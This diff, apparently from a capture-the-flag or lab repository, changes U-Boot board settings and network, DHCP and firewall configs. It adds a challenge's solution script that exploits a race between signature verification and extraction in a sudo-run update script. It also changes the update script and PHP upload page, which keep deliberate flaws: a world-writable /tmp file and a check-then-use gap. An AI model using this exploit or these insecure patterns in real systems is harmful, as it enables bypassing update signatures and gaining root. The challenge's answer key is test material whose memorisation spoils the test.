+ MX8MM_IOMUXC_SAI1_RXD5_GPIO4_IO7 0x10 + MX8MM_IOMUXC_SAI1_RXD5_GPIO4_IO7 0x10
+ MX8MM_IOMUXC_SAI1_RXD6_GPIO4_IO8 0x10 + MX8MM_IOMUXC_SAI1_RXD6_GPIO4_IO8 0x10
+ MX8MM_IOMUXC_GPIO1_IO08_GPIO1_IO8 0x10 + MX8MM_IOMUXC_GPIO1_IO08_GPIO1_IO8 0x10
+ MX8MM_IOMUXC_SAI1_RXD7_GPIO4_IO9 0x80 + MX8MM_IOMUXC_SAI1_RXD7_GPIO4_IO9 0x1c0
+ MX8MM_IOMUXC_SAI1_RXD1_GPIO4_IO3 0x10 + MX8MM_IOMUXC_SAI1_RXD1_GPIO4_IO3 0x10
+ >; + >;
+ }; + };
@ -4125,7 +4125,7 @@ Index: u-boot-imx/board/tiesse/tgr/spl.c
+#endif +#endif
+ +
+static iomux_v3_cfg_t btn_pads[] = { +static iomux_v3_cfg_t btn_pads[] = {
+ IMX8MM_PAD_SAI1_RXD7_GPIO4_IO9 | MUX_PAD_CTRL(PAD_CTL_HYS), + IMX8MM_PAD_SAI1_RXD7_GPIO4_IO9 | MUX_PAD_CTRL(PAD_CTL_HYS | PAD_CTL_PUE | PAD_CTL_PE ),
+}; +};
+ +
+#define RST_BTN IMX_GPIO_NR(4, 9) +#define RST_BTN IMX_GPIO_NR(4, 9)
@ -4141,8 +4141,8 @@ Index: u-boot-imx/board/tiesse/tgr/spl.c
+ IMX8MM_PAD_SAI1_RXD6_GPIO4_IO8 | MUX_PAD_CTRL(NO_PAD_CTRL), + IMX8MM_PAD_SAI1_RXD6_GPIO4_IO8 | MUX_PAD_CTRL(NO_PAD_CTRL),
+}; +};
+ +
+#define LED_MODEM IMX_GPIO_NR(4, 7) +#define LED_MODEM IMX_GPIO_NR(4, 4)
+#define LED_PWR IMX_GPIO_NR(4, 8) +#define LED_PWR IMX_GPIO_NR(4, 5)
+static void leds_init(void) +static void leds_init(void)
+{ +{
+ imx_iomux_v3_setup_multiple_pads(led_pads, ARRAY_SIZE(led_pads)); + imx_iomux_v3_setup_multiple_pads(led_pads, ARRAY_SIZE(led_pads));
@ -4720,7 +4720,7 @@ Index: u-boot-imx/include/configs/tgr.h
+ +
+#define CONFIG_SYS_SDRAM_BASE 0x40000000 +#define CONFIG_SYS_SDRAM_BASE 0x40000000
+#define PHYS_SDRAM 0x40000000 +#define PHYS_SDRAM 0x40000000
+#define PHYS_SDRAM_SIZE SZ_1G /* 1GB DDR */ +#define PHYS_SDRAM_SIZE SZ_2G /* 1GB DDR */
+#define CONFIG_NR_DRAM_BANKS 1 +#define CONFIG_NR_DRAM_BANKS 1
+ +
+#define CONFIG_SYS_MEMTEST_START PHYS_SDRAM +#define CONFIG_SYS_MEMTEST_START PHYS_SDRAM

View File

@ -1,8 +1,8 @@
auto lo auto lo
iface lo inet loopback iface lo inet loopback
auto eth0 auto ethsw0
iface eth0 inet dhcp iface ethsw0 inet dhcp
pre-up sleep 20 pre-up sleep 20
auto ap0 auto ap0

View File

@ -1,254 +0,0 @@
# dhcpd.conf
#
# Sample configuration file for ISC dhcpd
#
# option definitions common to all supported networks...
option domain-name "example.org";
option domain-name-servers ns1.example.org, ns2.example.org;
default-lease-time 600;
max-lease-time 7200;
# The ddns-updates-style parameter controls whether or not the server will
# attempt to do a DNS update when a lease is confirmed. We default to the
# behavior of the version 2 packages ('none', since DHCP v2 didn't
# have support for DDNS.)
ddns-update-style none;
# If this DHCP server is the official DHCP server for the local
# network, the authoritative directive should be uncommented.
#authoritative;
# Use this to send dhcp log messages to a different log file (you also
# have to hack syslog.conf to complete the redirection).
#log-facility local7;
# No service will be given on this subnet, but declaring it helps the
# DHCP server to understand the network topology.
#subnet 10.152.187.0 netmask 255.255.255.0 {
#}
# This is a very basic subnet declaration.
#subnet 10.254.239.0 netmask 255.255.255.224 {
# range 10.254.239.10 10.254.239.20;
# option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;
#}
# This declaration allows BOOTP clients to get dynamic addresses,
# which we don't really recommend.
#subnet 10.254.239.32 netmask 255.255.255.224 {
# range dynamic-bootp 10.254.239.40 10.254.239.60;
# option broadcast-address 10.254.239.31;
# option routers rtr-239-32-1.example.org;
#}
# A slightly different configuration for an internal subnet.
#subnet 10.5.5.0 netmask 255.255.255.224 {
# range 10.5.5.26 10.5.5.30;
# option domain-name-servers ns1.internal.example.org;
# option domain-name "internal.example.org";
# option routers 10.5.5.1;
# option broadcast-address 10.5.5.31;
# default-lease-time 600;
# max-lease-time 7200;
#}
# Hosts which require special configuration options can be listed in
# host statements. If no address is specified, the address will be
# allocated dynamically (if possible), but the host-specific information
# will still come from the host declaration.
#host passacaglia {
# hardware ethernet 0:0:c0:5d:bd:95;
# filename "vmunix.passacaglia";
# server-name "toccata.example.com";
#}
# Fixed IP addresses can also be specified for hosts. These addresses
# should not also be listed as being available for dynamic assignment.
# Hosts for which fixed IP addresses have been specified can boot using
# BOOTP or DHCP. Hosts for which no fixed address is specified can only
# be booted with DHCP, unless there is an address range on the subnet
# to which a BOOTP client is connected which has the dynamic-bootp flag
# set.
#host fantasia {
# hardware ethernet 08:00:07:26:c0:a5;
# fixed-address fantasia.example.com;
#}
# You can declare a class of clients and then do address allocation
# based on that. The example below shows a case where all clients
# in a certain class get addresses on the 10.17.224/24 subnet, and all
# other clients get addresses on the 10.0.29/24 subnet.
#class "foo" {
# match if substring (option vendor-class-identifier, 0, 4) = "SUNW";
#}
#shared-network 224-29 {
# subnet 10.17.224.0 netmask 255.255.255.0 {
# option routers rtr-224.example.org;
# }
# subnet 10.0.29.0 netmask 255.255.255.0 {
# option routers rtr-29.example.org;
# }
# pool {
# allow members of "foo";
# range 10.17.224.10 10.17.224.250;
# }
# pool {
# deny members of "foo";
# range 10.0.29.10 10.0.29.230;
# }
#}
subnet 10.0.13.0 netmask 255.255.255.0 {
range 10.0.13.10 10.0.13.12;
option routers 10.0.13.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.14.0 netmask 255.255.255.0 {
range 10.0.14.10 10.0.14.12;
option routers 10.0.14.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.15.0 netmask 255.255.255.0 {
range 10.0.15.10 10.0.15.12;
option routers 10.0.15.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.16.0 netmask 255.255.255.0 {
range 10.0.16.10 10.0.16.12;
option routers 10.0.16.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.17.0 netmask 255.255.255.0 {
range 10.0.17.10 10.0.17.12;
option routers 10.0.17.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.18.0 netmask 255.255.255.0 {
range 10.0.18.10 10.0.18.12;
option routers 10.0.18.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.19.0 netmask 255.255.255.0 {
range 10.0.19.10 10.0.19.12;
option routers 10.0.19.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.20.0 netmask 255.255.255.0 {
range 10.0.20.10 10.0.20.12;
option routers 10.0.20.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.21.0 netmask 255.255.255.0 {
range 10.0.21.10 10.0.21.12;
option routers 10.0.21.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.22.0 netmask 255.255.255.0 {
range 10.0.22.10 10.0.22.12;
option routers 10.0.22.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.23.0 netmask 255.255.255.0 {
range 10.0.23.10 10.0.23.12;
option routers 10.0.23.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.24.0 netmask 255.255.255.0 {
range 10.0.24.10 10.0.24.12;
option routers 10.0.24.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.25.0 netmask 255.255.255.0 {
range 10.0.25.10 10.0.25.12;
option routers 10.0.25.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.26.0 netmask 255.255.255.0 {
range 10.0.26.10 10.0.26.12;
option routers 10.0.26.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.27.0 netmask 255.255.255.0 {
range 10.0.27.10 10.0.27.12;
option routers 10.0.27.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.28.0 netmask 255.255.255.0 {
range 10.0.28.10 10.0.28.12;
option routers 10.0.28.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.29.0 netmask 255.255.255.0 {
range 10.0.29.10 10.0.29.12;
option routers 10.0.29.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.30.0 netmask 255.255.255.0 {
range 10.0.30.10 10.0.30.12;
option routers 10.0.30.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.31.0 netmask 255.255.255.0 {
range 10.0.31.10 10.0.31.12;
option routers 10.0.31.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.32.0 netmask 255.255.255.0 {
range 10.0.32.10 10.0.32.12;
option routers 10.0.32.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.33.0 netmask 255.255.255.0 {
range 10.0.33.10 10.0.33.12;
option routers 10.0.33.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.34.0 netmask 255.255.255.0 {
range 10.0.34.10 10.0.34.12;
option routers 10.0.34.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.35.0 netmask 255.255.255.0 {
range 10.0.35.10 10.0.35.12;
option routers 10.0.35.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.36.0 netmask 255.255.255.0 {
range 10.0.36.10 10.0.36.12;
option routers 10.0.36.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.37.0 netmask 255.255.255.0 {
range 10.0.37.10 10.0.37.12;
option routers 10.0.37.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.38.0 netmask 255.255.255.0 {
range 10.0.38.10 10.0.38.12;
option routers 10.0.38.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.39.0 netmask 255.255.255.0 {
range 10.0.39.10 10.0.39.12;
option routers 10.0.39.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.40.0 netmask 255.255.255.0 {
range 10.0.40.10 10.0.40.12;
option routers 10.0.40.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}
subnet 10.0.41.0 netmask 255.255.255.0 {
range 10.0.41.10 10.0.41.12;
option routers 10.0.41.1;
option domain-name-servers 8.8.8.8, 1.1.1.1;
}

View File

@ -1,185 +0,0 @@
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).
source /etc/network/interfaces.d/*
# The loopback network interface
auto lo
iface lo inet loopback
auto enp9s0f0
iface enp9s0f0 inet static
address 130.192.93.78
netmask 255.255.255.0
gateway 130.192.93.17
auto enp9s0f1
iface enp9s0f1 inet static
address 192.168.1.10
netmask 255.255.255.0
auto enp5s0f0
iface enp5s0f0 inet static
address 10.0.0.0
netmask 255.255.255.0
auto enp5s0f0.1013
iface enp5s0f0.1013 inet static
address 10.0.13.1
netmask 255.255.255.0
auto enp5s0f0.1014
iface enp5s0f0.1014 inet static
address 10.0.14.1
netmask 255.255.255.0
auto enp5s0f0.1015
iface enp5s0f0.1015 inet static
address 10.0.15.1
netmask 255.255.255.0
auto enp5s0f0.1016
iface enp5s0f0.1016 inet static
address 10.0.16.1
netmask 255.255.255.0
auto enp5s0f0.1017
iface enp5s0f0.1017 inet static
address 10.0.17.1
netmask 255.255.255.0
auto enp5s0f0.1018
iface enp5s0f0.1018 inet static
address 10.0.18.1
netmask 255.255.255.0
auto enp5s0f0.1019
iface enp5s0f0.1019 inet static
address 10.0.19.1
netmask 255.255.255.0
auto enp5s0f0.1020
iface enp5s0f0.1020 inet static
address 10.0.20.1
netmask 255.255.255.0
auto enp5s0f0.1021
iface enp5s0f0.1021 inet static
address 10.0.21.1
netmask 255.255.255.0
auto enp5s0f0.1022
iface enp5s0f0.1022 inet static
address 10.0.22.1
netmask 255.255.255.0
auto enp5s0f0.1023
iface enp5s0f0.1023 inet static
address 10.0.23.1
netmask 255.255.255.0
auto enp5s0f0.1024
iface enp5s0f0.1024 inet static
address 10.0.24.1
netmask 255.255.255.0
auto enp5s0f0.1025
iface enp5s0f0.1025 inet static
address 10.0.25.1
netmask 255.255.255.0
auto enp5s0f0.1026
iface enp5s0f0.1026 inet static
address 10.0.26.1
netmask 255.255.255.0
auto enp5s0f0.1027
iface enp5s0f0.1027 inet static
address 10.0.27.1
netmask 255.255.255.0
auto enp5s0f0.1028
iface enp5s0f0.1028 inet static
address 10.0.28.1
netmask 255.255.255.0
auto enp5s0f0.1029
iface enp5s0f0.1029 inet static
address 10.0.29.1
netmask 255.255.255.0
auto enp5s0f0.1030
iface enp5s0f0.1030 inet static
address 10.0.30.1
netmask 255.255.255.0
auto enp5s0f0.1031
iface enp5s0f0.1031 inet static
address 10.0.31.1
netmask 255.255.255.0
auto enp5s0f0.1032
iface enp5s0f0.1032 inet static
address 10.0.32.1
netmask 255.255.255.0
auto enp5s0f0.1033
iface enp5s0f0.1033 inet static
address 10.0.33.1
netmask 255.255.255.0
auto enp5s0f0.1034
iface enp5s0f0.1034 inet static
address 10.0.34.1
netmask 255.255.255.0
auto enp5s0f0.1035
iface enp5s0f0.1035 inet static
address 10.0.35.1
netmask 255.255.255.0
auto enp5s0f0.1036
iface enp5s0f0.1036 inet static
address 10.0.36.1
netmask 255.255.255.0
auto enp5s0f0.1037
iface enp5s0f0.1037 inet static
address 10.0.37.1
netmask 255.255.255.0
auto enp5s0f0.1038
iface enp5s0f0.1038 inet static
address 10.0.38.1
netmask 255.255.255.0
auto enp5s0f0.1039
iface enp5s0f0.1039 inet static
address 10.0.39.1
netmask 255.255.255.0
auto enp5s0f0.1040
iface enp5s0f0.1040 inet static
address 10.0.40.1
netmask 255.255.255.0
auto enp5s0f0.1041
iface enp5s0f0.1041 inet static
address 10.0.41.1
netmask 255.255.255.0
auto enp5s0f0.1100
iface enp5s0f0.1100 inet static
address 10.0.100.1
netmask 255.255.255.0
auto enp5s0f0.1101
iface enp5s0f0.1101 inet static
address 10.0.101.1
netmask 255.255.255.0
auto enp5s0f0.1102
iface enp5s0f0.1102 inet static
address 10.0.102.1
netmask 255.255.255.0

View File

@ -1,8 +0,0 @@
iptables -N LOG_DROP
iptables -I FORWARD -s 10.0.0.0/16 -d 10.0.0.0/16 -j LOG_DROP
iptables -A LOG_DROP -j LOG --log-prefix "refused connection: "
iptables -A LOG_DROP -j DROP
iptables -A FORWARD -i enp5s0f0 -o enp9s0f0 -j ACCEPT
iptables -A FORWARD -i enp5s0f0 -o enp9s0f0 -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -t nat -A POSTROUTING -o enp9s0f0 -j MASQUERADE
#iptables -A FORWARD -j DROP

View File

@ -1,27 +0,0 @@
# Generated by xtables-save v1.8.2 on Fri Sep 25 17:53:13 2020
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:LOG_DROP - [0:0]
-A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT
-A FORWARD -s 10.0.0.0/16 -d 168.119.32.41 -j ACCEPT
-A FORWARD -s 10.0.0.0/16 -d 168.119.32.44 -j ACCEPT
-A FORWARD -s 10.0.0.0/16 -j LOG_DROP
-A FORWARD -i enp5s0f0 -o enp9s0f0 -j ACCEPT
-A FORWARD -i enp5s0f0 -o enp9s0f0 -m state --state RELATED,ESTABLISHED -j ACCEPT
-A LOG_DROP -j LOG --log-prefix "refused connection: "
-A LOG_DROP -j DROP
COMMIT
# Completed on Fri Sep 25 17:53:13 2020
# Generated by xtables-save v1.8.2 on Fri Sep 25 17:53:13 2020
*nat
:PREROUTING ACCEPT [0:0]
:INPUT ACCEPT [0:0]
:POSTROUTING ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A POSTROUTING -o enp9s0f0 -j MASQUERADE
COMMIT
# Completed on Fri Sep 25 17:53:13 2020

View File

@ -1,22 +0,0 @@
# Generated by xtables-save v1.8.2 on Fri Sep 25 17:53:13 2020
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:LOG_DROP - [0:0]
-A FORWARD -s 10.0.0.0/16 -d 10.0.0.0/16 -j LOG_DROP
-A FORWARD -i enp5s0f0 -o enp9s0f0 -j ACCEPT
-A FORWARD -i enp5s0f0 -o enp9s0f0 -m state --state RELATED,ESTABLISHED -j ACCEPT
-A LOG_DROP -j LOG --log-prefix "refused connection: "
-A LOG_DROP -j DROP
COMMIT
# Completed on Fri Sep 25 17:53:13 2020
# Generated by xtables-save v1.8.2 on Fri Sep 25 17:53:13 2020
*nat
:PREROUTING ACCEPT [0:0]
:INPUT ACCEPT [0:0]
:POSTROUTING ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A POSTROUTING -o enp9s0f0 -j MASQUERADE
COMMIT
# Completed on Fri Sep 25 17:53:13 2020

16
solution/exploit.sh Normal file
View File

@ -0,0 +1,16 @@
#!/bin/sh
# The solution require the original update.tar.cc in /tmp named 'orig'
# and the fake package renamed to 'pwn' in /tmp. Both need to have chmod 777
cd /tmp;
cp orig update.tar.cc;
chmod 777 update.tar.cc;
sudo -u upgrade /bin/sh /update.sh > log &
while true; do
if [[ "$(cat log | grep Checking)" ]]; then
sleep 0.01
cp pwn update.tar.cc;
fi
done;

BIN
solution/update.tar.cc Normal file

Binary file not shown.

View File

@ -13,30 +13,29 @@ if [[ "$auth" != "$password" ]]; then
exit 1 exit 1
fi fi
pubkey="/pub.pem" pubkey="/pub.pem"
file="/tmp/update.tar.cc" file="/tmp/update.tar.cc"
/bin/chmod 777 $file sig="/tmp/sig"
/bin/echo "### ccOS Update Script ###" /bin/echo "### ccOS Update Script ###"
/bin/echo "[+] Starting" /bin/echo "[+] Starting"
/bin/sleep 1
/bin/echo "[+] Extracting Signature" /bin/echo "[+] Extracting Signature"
skip=$(expr $(stat -c '%s' $file) - 256) skip=$(expr $(stat -c '%s' $file) - 256)
if [[ -L $file ]] if [[ -L $file ]]
then then
exit 0 exit 0
fi fi
/bin/dd if=/tmp/update.tar.cc of=sig bs=1 count=256 skip=$skip /bin/dd if=/tmp/update.tar.cc of=$sig bs=1 count=256 skip=$skip
/usr/bin/truncate -s $skip $file /usr/bin/truncate -s $skip $file
check=`/usr/bin/openssl dgst -sha256 -verify $pubkey -signature /tmp/sig $file` /bin/echo "[+] Checking Signature"
check=`/usr/bin/openssl dgst -sha256 -verify $pubkey -signature $sig $file`
if [ "$check" == "Verified OK" ] if [ "$check" == "Verified OK" ]
then then
/bin/echo "[+] Signature is valid!" /bin/echo "[+] Signature is valid!"
/bin/echo "[+] Upgrading..." /bin/echo "[+] Upgrading..."
/bin/tar -xvf $file -C / /bin/tar -xvf $file -C /
/bin/rm /tmp/sig /bin/rm $sig
/bin/echo "[+] Done" /bin/echo "[+] Done"
else else
/bin/echo "[-] Signature error, exiting..." /bin/echo "[-] Signature error, exiting..."
/bin/rm /tmp/sig /bin/rm $sig
fi fi

View File

@ -5,8 +5,9 @@ require_once("includes/header.php");
require_once("includes/nav.php"); require_once("includes/nav.php");
if ($_SERVER['REQUEST_METHOD'] === POST && isset($_FILES['update']) && $_FILES['update']['size'] > 10000000 && $_FILES['upfile']['size'] < 10000000 && isset($_POST['password']) && !empty($_POST['password'])) { if ($_SERVER['REQUEST_METHOD'] === POST && isset($_FILES['update']) && $_FILES['update']['size'] > 10000000 && $_FILES['upfile']['size'] < 10000000 && isset($_POST['password']) && !empty($_POST['password'])) {
move_uploaded_file($_FILES['file']['tmp_name'], '/tmp/update.tgz.cc'); move_uploaded_file($_FILES['file']['tmp_name'], '/tmp/update.tar.cc');
exec("/usr/bin/sudo key='".escapeshellarg($_POST['password'])."' /update.sh", $result); exec("/bin/chmod 777 /tmp/update.tar.cc");
exec("key='".escapeshellarg($_POST['password'])."' /bin/sh -c '/usr/bin/sudo /bin/sh /update.sh'", $result);
} }
?> ?>
@ -19,7 +20,7 @@ if ($_SERVER['REQUEST_METHOD'] === POST && isset($_FILES['update']) && $_FILES['
<input type="submit" class="btn btn-b btn-sm smooth" value="Upload"> <input type="submit" class="btn btn-b btn-sm smooth" value="Upload">
<p> <p>
<ul> <ul>
<li>Please select the file <i>ccOS-ver-xxxx.tgz.cc</i></li> <li>Please select the file <i>update.tar.cc</i></li>
<li>The update will take about 2 minutes</li> <li>The update will take about 2 minutes</li>
<li>Updates are cryptographically signed for integrity and authenticity</li> <li>Updates are cryptographically signed for integrity and authenticity</li>
</ul> </ul>